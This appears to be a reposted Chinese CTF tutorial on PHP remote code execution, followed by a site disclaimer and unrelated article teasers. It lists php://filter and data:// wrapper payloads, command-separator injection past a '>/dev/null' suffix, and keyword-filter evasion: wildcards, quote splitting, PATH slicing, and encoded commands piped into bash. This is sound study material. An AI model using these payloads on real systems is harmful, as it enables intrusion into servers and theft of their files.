CTF php RCE(二)

0x04 php伪协议

这种我们是先看到了include才会想到,利用伪协议来外带文件内容,但是有些同学会问,我们怎么知道文件名是哪个,哪个文件名才是正确的,那么这里我们就得靠猜了

include函数

在这里插入图片描述

因为 include 是一个特殊的语言结构,其参数不需要括号。在比较其返回值时要注意。
include 函数用于包含指定文件(通常是 PHP 脚本文件)的内容,使得被包含的文件中的所有 PHP 代码在当前脚本中执行。

被包含文件先按参数给出的路径寻找,如果没有给出目录(只有文件名)时则按照 include_path 指定的目录寻找。 如果在
include_path 下没找到该文件则 include 最后才在调用脚本文件所在的目录和当前工作目录下寻找。如果最后仍未找到文件则
include 结构会发出一条 E_WARNING ;这一点和 require 不同,后者会发出一个 E_ERROR 。

所以我们需要文件路径来推进文件包含flag,得到内容

file://

allow_url_fopen :off/on
allow_url_include:off/on
但是需要知道文件路径,我基本是没用过

file://D:/soft/phpStudy/WWW/phpcode.txt

php://

这里说几种常用的伪协议命令

php://filter
allow_url_fopen :off/on
allow_url_include:off/onbase64
php://filter/read=convert.base64-encode/resource=flag.php
rot13
php://filter/string.rot13/resource=flag.php
php://input     接受原始POST输入流进行命令执行
allow_url_fopen :off/on
allow_url_include:onPOST:
<?= phpinfo();?> 执行成功

data://

data://text/plain,<?= system("cat fl*");?>
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+         这里同理也可以写rot13等其他编码

zip://

我没用过,用了之后补上

phar://

这个也是

0x05 >/dev/null 绕过

这个东西为什么单独拎出来,完全是我想而已
众所周知2>&1是一个重定向写法,bash弹shell经常使用,但是在命令执行函数中他可以用来使得命令执行结果被转入>/dev/null文件路径中

重定向(Redirect)是指将一个命令的输入或输出流从默认的位置改变到另一个位置或设备上的操作。

标准输入(STDIN,文件描述符为0):通常用于接收输入数据。
标准输出(STDOUT,文件描述符为1):通常用于输出正常的程序输出。
标准错误(STDERR,文件描述符为2):通常用于输出错误消息和其他诊断信息。

这部分是将标准错误(STDERR)重定向到标准输出(STDOUT)

>/dev/null:这部分是一种重定向输出的方法。/dev/null 是一个特殊的设备文件,在 Unix/Linux 系统中,它是一个空设备,写入到它的内容都会被丢弃,不会保存到任何地方。

诶那么绕过方法其实也非常简单

;     用于分隔多个命令
|     只执行后面那条命令
||    只执行前面那条命令
&     两条命令都会执行
&&    两条命令都会执行
%0a	  换行符
system($c." >/dev/null 2>&1");
当我们输入;时候
直接就变成了system(ls; >/dev/null 2>&1);
如果ls有效那么就会成功执行并且有回显,其他同理

0x06 字符串过滤

字符串过滤这个是非常常见的我们每次看任何的比赛吧,正常的都会把flag给禁了那么我们就围绕这个来说说常用的姿势

通配符 *

这个是最常用也是最好用的

功能: 匹配零个或多个字符。
示例:
*.txt:匹配所有以 .txt 结尾的文件。
file*:匹配所有以 file 开头的文件或目录。

f*就能代表flag如果只有一个f开头的文件

通配符 ?

功能: 匹配任意单个字符。
示例:
?.txt:匹配所有由一个字符加上 .txt 后缀的文件,比如 a.txt、1.txt、x.txt 等等。

比如fla?.php 而且有时候如果过滤忘记过滤P的话还有姿势,例子

<?phpif(isset($_GET['cmd'])){$cmd=$_GET['cmd'];highlight_file(__FILE__);if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd)){die("cerror");}if(preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd)){die("serror");}eval($cmd);}?>

本题过滤少了p

php的上传接受multipart/form-data,然后会将它保存在临时文件中。php.ini中设置的upload_tmp_dir就是这个临时文件的保存目录。linux下默认为/tmp。也就是说,只要是php接收到上传的POST请求,就会保存一个临时文件,如何这个php脚本具有“上传功能”那么它将拷贝走,无论如何当脚本执行结束这个临时文件都会被删除。另外,这个php临时文件在linux系统下的命名规则永远是php**.tmp访问/tmp/phpxxxxxx来读取文件
linux .(点命令):读取并且在当前的shell中执行文件中的命令
这里用p师傅的话讲的话,.file是用bash来执行file文件中的命令,而且这种操作是不需要file有x权限

payload

GET:
?cmd=?><?=`.+/??p/p?p??????`;
POST:
#! /bin/bash           //指定为脚本cat /flag.txt
前面也说到了我们是利用bash

其他

fl""ag
fla''g
fla\g

通配符 [ ]

在正则表达式中,[ ] 表示一个字符类(character class),用于指定一个字符集合,可以匹配其中任意一个字符

[9-q]
[9-q] 表示匹配一个字符,该字符的范围是从 9 到 q 之间的任何字符。

在这里插入图片描述

管道符

echo "Y2F0IGZsYWc=" | base64 -d|bash
| base64 -d:管道符 | 将 echo 命令的输出传递给 base64 -d 命令。base64 -d 表示对输入进行 Base64 解码。
| bash:再次使用管道符 |,将解码后的结果作为 Bash 命令执行。

在这里插入图片描述

切片环境变量

${PATH:x:y}
将环境变量PATH的某个字母才从第x个字符开始切片y个字符

在这里插入图片描述

拼接

a=c;b=at;c=flag;$a$b $c

进制转换

利用管道符
这东西我记得有但是我成功不了,欠着先

16进制
echo "0x63617420666c6167" | xxd -r -p | bash
8进制
echo "cat flag" | od -An -t o1
printf "\143\141\164\040\146\154\141\147\012" | bash

在这里插入图片描述

特殊变量

$1
$2

借用师傅的图
在这里插入图片描述
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/43855.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

产品原型设计:从概念到实现的完整指南

如果你是一位产品经理&#xff0c;那么你一定会和原型图打交道&#xff0c;产品原型是产品设计方案和底层逻辑的可视化表达&#xff0c;需要完整清晰地表达出产品目的及需求&#xff0c;在整个产品创造的过程中发挥着不可或缺的作用。而对于一些刚入行的产品经理来说&#xff0…

Instruct-GS2GS:通过用户指令编辑 GS 三维场景

Paper: Instruct-GS2GS: Editing 3D Gaussian Splats with Instructions Introduction: https://instruct-gs2gs.github.io/ Code: https://github.com/cvachha/instruct-gs2gs Instruct-GS2GS 复用了 Instruct-NeRF2NeRF 1 的架构&#xff0c;将基于 NeRF 的三维场景编辑方法迁…

4:表单和通用视图

表单和通用视图 1、编写一个简单的表单&#xff08;1&#xff09;更新polls/detail.html文件 使其包含一个html < form > 元素&#xff08;2&#xff09;创建一个Django视图来处理提交的数据&#xff08;3&#xff09;当有人对 Question 进行投票后&#xff0c;vote()视图…

Python实现吃豆人游戏详解(内附完整代码)

一、吃豆人游戏背景 吃豆人是一款由Namco公司在1980年推出的经典街机游戏。游戏的主角是一个黄色的小圆点&#xff0c;它必须在迷宫中吃掉所有的点数&#xff0c;同时避免被四处游荡的幽灵捉到。如果玩家能够吃掉所有的点数&#xff0c;并且成功避开幽灵&#xff0c;就可以进入…

力扣第一题

1. 两数之和 提示 给定一个整数数组 nums 和一个整数目标值 target&#xff0c;请你在该数组中找出 和为目标值 target 的那 两个 整数&#xff0c;并返回它们的数组下标。 你可以假设每种输入只会对应一个答案。但是&#xff0c;数组中同一个元素在答案里不能重复出现。 你可…

【测试设计】使用jenkins 插件Allure生成自动化测试报告

前言 以前做自动化测试的时候一直用的HTMLTestRunner来生成测试报告&#xff0c;后来也尝试过用Python的PyH模块自己构建测试报告&#xff0c;在后来看到了RobotFramework的测试报告&#xff0c;感觉之前用的测试报告都太简陋&#xff0c;它才是测试报告应该有的样子。也就是在…

射频硅基氮化镓:两个世界的最佳选择

当世界继续努力追求更高速的连接&#xff0c;并要求低延迟和高可靠性时&#xff0c;信息通信技术的能耗继续飙升。这些市场需求不仅将5G带到许多关键应用上&#xff0c;还对能源效率和性能提出了限制。5G网络性能目标对基础半导体器件提出了一系列新的要求&#xff0c;增加了对…

【LeetCode刷题笔记】LeetCode.11.盛最多水的容器

创作不易&#xff0c;本篇文章如果帮助到了你&#xff0c;还请点赞 关注支持一下♡>&#x16966;<)!! 主页专栏有更多知识&#xff0c;如有疑问欢迎大家指正讨论&#xff0c;共同进步&#xff01; 更多算法知识专栏&#xff1a;算法分析&#x1f525; 给大家跳段街舞感谢…

CSAPP Lab5- MallocLab

实验目标 本实验需要用c语言实现一个动态的存储分配器&#xff0c;也就是你自己版本的malloc&#xff0c;free&#xff0c;realloc函数。 实验步骤 tar xvf malloclab-handout.tar解压文件 我们需要修改的唯一文件是mm.c&#xff0c;包含如下几个需要实现的函数 int mm_ini…

婴幼儿自闭症的六大警示前兆:家长需警惕的早期信号

婴幼儿自闭症是一种复杂的发育障碍&#xff0c;其早期症状往往较为微妙&#xff0c;但若能及早发现并干预&#xff0c;对孩子的成长至关重要。以下是婴幼儿自闭症的六个主要前兆&#xff1a; 首先&#xff0c;目光呆滞与反应迟钝。婴儿期&#xff0c;孩子应能对外界刺激如声音…

读书笔记-Java并发编程的艺术-第4章(Java并发编程基础)-第3节(线程间通信)

文章目录 4.3 线程间通信4.3.1 volatile和synchronized 关键字4.3.2 等待/通知机制4.3.3 等待/通知的经典范式4.3.4 管道输入 / 输出流4.3.5 Thread.join()的使用4.3.6 ThreadLocal的使用 4.3 线程间通信 线程开始运行&#xff0c;拥有自己的栈空间&#xff0c;就如同一个脚本…

Java字符串(String、字符串拼接、原理)

文章目录 一、String字符串1.1创建方式【直接赋值、new一个对象】1.1.1 使用字符串字面值直接赋值&#xff1a;&#xff08;1&#xff09;字符串字面量创建String对象的转换过程&#xff08;2&#xff09;一些方法&#xff08;3&#xff09;说明 1.1.2 使用new关键字创建字符串…

接口测试(1)

什么是接口测试 路线&#xff1a; 项目介绍 URL&#xff1a;统一资源定位符 HTTP协议 请求URL 请求行 请求方法 post/put 请求行 请求数据类型 content-type json 请求数据 请求体 响应状态码 响应行 响应数据类型 content-type json 响应数据 请响应体 用户名&#xf…

Mybatis Plus 3.X版本的insert填充自增id的IdType.ID_WORKER策略源码分析

总结/朱季谦 某天同事突然问我&#xff0c;你知道Mybatis Plus的insert方法&#xff0c;插入数据后自增id是如何自增的吗&#xff1f; 我愣了一下&#xff0c;脑海里只想到&#xff0c;当在POJO类的id设置一个自增策略后&#xff0c;例如TableId(value "id",type …

Git 命令行快速入门

前言 &#xff08;1&#xff09;新手个人建议使用TortoiseGit这类图形化界面来上手学习。 &#xff08;2&#xff09;如果一定需要用命令行进行操作&#xff0c;可以按照B站&#xff1a;程式与网页开发者必备技能&#xff01;Git 和 GitHub 零基础快速上手&#xff0c;轻松掌握…

干货:高水平论文写作思路与方法

前言:Hello大家好,我是小哥谈。高水平论文的写作需要扎实的研究基础和严谨的思维方式。同时,良好的写作技巧和时间管理也是成功的关键。本篇文章转载自行业领域专家所写的一篇文章,希望大家阅读后可以能够有所收获。🌈 目录 🚀1.依托事实/证据,通过合理的逻辑,…

汇川CodeSysPLC教程03-2-14 与HMI通信

硬件连接 PLC与HMI连接采用何种连接方式&#xff0c;通常是参考双方支持哪些接口。PLC&#xff08;可编程逻辑控制器&#xff09;与HMI&#xff08;人机界面&#xff09;之间的通讯方式主要有以下几种&#xff1a; 串行通讯&#xff08;Serial Communication&#xff09;&…

Git本地仓库的搭建与使用

目录 一、前言 二、Linux下搭建 git 仓库 三、Windows下搭建 git 仓库 一、前言 做项目时&#xff0c;我们常常需要将自己的代码进行托管&#xff0c;但有时候 Github 的速度属实叫人流泪。有的人会选择 Gitee 等进行托管代码&#xff0c;这当然是可以的。那如果没有其他代码…

前端图表库G2快速上手

文档地址&#xff1a; https://g2-v3.antv.vision/zh/docs/manual/getting-started/ https://g2.antv.antgroup.com/ 安装&#xff1a; pnpm i antv/g2在vue3中使用&#xff1a; <script setup> import {Chart} from antv/g2; import {onMounted} from "vue"…

LeetCode(2)-反转链表、删除链表中等于val的节点、返回链表中的中间节点

一、反转链表 . - 力扣&#xff08;LeetCode&#xff09; 解法1&#xff1a; /*** Definition for singly-linked list.* struct ListNode {* int val;* struct ListNode *next;* };*/ typedef struct ListNode ListNode; struct ListNode* reverseList(struct ListN…